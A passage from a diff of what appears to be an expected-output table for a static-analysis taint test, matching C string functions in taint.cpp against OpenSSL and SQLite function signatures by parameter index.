*,void *) | | sqlite3_create_module | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 3 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 4 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 4 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 5 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:589:7:589:12 | strsep | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:589:7:589:12 | strsep | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:589:7:589:12 | strsep | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:589:7:589:12 | strsep | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:589:7:589:12 | strsep | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:589:7:589:12 | strsep | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:589:7:589:12 | strsep | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:589:7:589:12 | strsep | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:589:7:589:12 | strsep | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:589:7:589:12 | strsep | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:589:7:589:12 | strsep | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:589:7:589:12 | strsep | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:589:7:589:12 | strsep | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:589:7:589:12 | strsep | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:589:7:589:12 | strsep | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:589:7:589:12 | strsep | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:589:7:589:12 | strsep | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | defossilize | 0 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | make_uppercase | 0 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | next_item | 0 | | taint.cpp:591:6:591:16 | test_strsep | (char *) | CStringT | CStringT | 0 | +| taint.cpp:602:7:602:13 | _strinc | (..(*)(..),void *) | | OSSL_STORE_do_all_loaders | 1 | +| taint.cpp:602:7:602:13 | _strinc | (ASN1_SCTX *,void *) | | ASN1_SCTX_set_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (BIO *,void *) | | BIO_set_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (CONF_IMODULE *,void *) | | CONF_imodule_set_usr_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (CONF_MODULE *,void *) | | CONF_module_set_usr_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (CRYPTO_THREAD_LOCAL *,void *) | | CRYPTO_THREAD_set_local | 1 | +| taint.cpp:602:7:602:13 | _strinc | (DH_METHOD *,void *) | | DH_meth_set0_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (DSA_METHOD *,void *) | | DSA_meth_set0_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_cipher_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_KEYMGMT *,void *) | | evp_keymgmt_util_make_pkey | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_get1_id | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (Jim_Stack *,void *) | | Jim_StackPush | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OPENSSL_LHASH *,void *) | | OPENSSL_LH_insert | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_certConf_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_http_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_transfer_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_DECODER *,void *) | | ossl_decoder_instance_new | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_DECODER_CTX *,void *) | | OSSL_DECODER_CTX_set_construct_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_ENCODER_CTX *,void *) | | OSSL_ENCODER_CTX_set_construct_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_QRX *,void *) | | ossl_qrx_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_QTX *,void *) | | ossl_qtx_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_QUIC_TX_PACKETISER *,void *) | | ossl_quic_tx_packetiser_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (QUIC_CHANNEL *,void *) | | ossl_quic_channel_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (RSA_METHOD *,void *) | | RSA_meth_set0_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set0_security_ex_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set_async_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set_default_passwd_cb_userdata | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set_record_padding_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set0_security_ex_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_async_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_default_passwd_cb_userdata | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_record_padding_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_srp_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (UI *,void *) | | UI_add_user_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (X509_CRL *,void *) | | X509_CRL_set_meth_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (X509_LOOKUP *,void *) | | X509_LOOKUP_set_method_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (const OSSL_DISPATCH *,void *) | | ossl_prov_free_key | 1 | +| taint.cpp:602:7:602:13 | _strinc | (const OSSL_PARAM[],void *) | | ossl_store_handle_load_result | 1 | +| taint.cpp:602:7:602:13 | _strinc | (const char *,void *) | | collect_names | 0 | +| taint.cpp:602:7:602:13 | _strinc | (const char *,void *) | | collect_names | 1 | +| taint.cpp:602:7:602:13 | _strinc | (int,void *) | | OSSL_STORE_INFO_new | 1 | +| taint.cpp:602:7:602:13 | _strinc | (int,void *) | | sqlite3_randomness | 1 | +| taint.cpp:602:7:602:13 | _strinc | (unsigned char *,void *) | | pitem_new | 1 | +| taint.cpp:603:16:603:22 | _mbsinc | (const unsigned char *) | | ossl_quic_vlint_decode_unchecked | 0 | | taint.cpp:603:16:603:22 | _mbsinc | (const unsigned char *) | CStringT | CStringT | 0 | | taint.cpp:603:16:603:22 | _mbsinc | (const unsigned char *) | CStringT | operator= | 0 | +| taint.cpp:604:16:604:22 | _strdec | (MD4_CTX *,const unsigned char *) | | MD4_Transform | 1 | +| taint.cpp:604:16:604:22 | _strdec | (RIPEMD160_CTX *,const unsigned char *) | | RIPEMD160_Transform | 1 | +| taint.cpp:604:16:604:22 | _strdec | (SM3_CTX *,const unsigned char *) | | ossl_sm3_transform | 1 | +| taint.cpp:604:16:604:22 | _strdec | (TLS_RL_RECORD *,const unsigned char *) | | ossl_tls_rl_record_set_seq_num | 1 | +| taint.cpp:606:6:606:17 | test__strinc | (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 4 | +| taint.cpp:616:6:616:17 | test__mbsinc | (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (action **,e_action,symbol *,char *) | | Action_add | 3 | +| taint.cpp:626:6:626:17 | test__strdec | (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 4 | +| taint.cpp:626:6:626:17 | test__strdec | (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 4 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 3 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 4 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 3 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 4 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | Strsafe | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | Symbol_new | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | UI_create_method | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | opt_path_end | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | opt_progname | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | strhash | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | Strsafe | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | Symbol_new | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | UI_create_method | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | 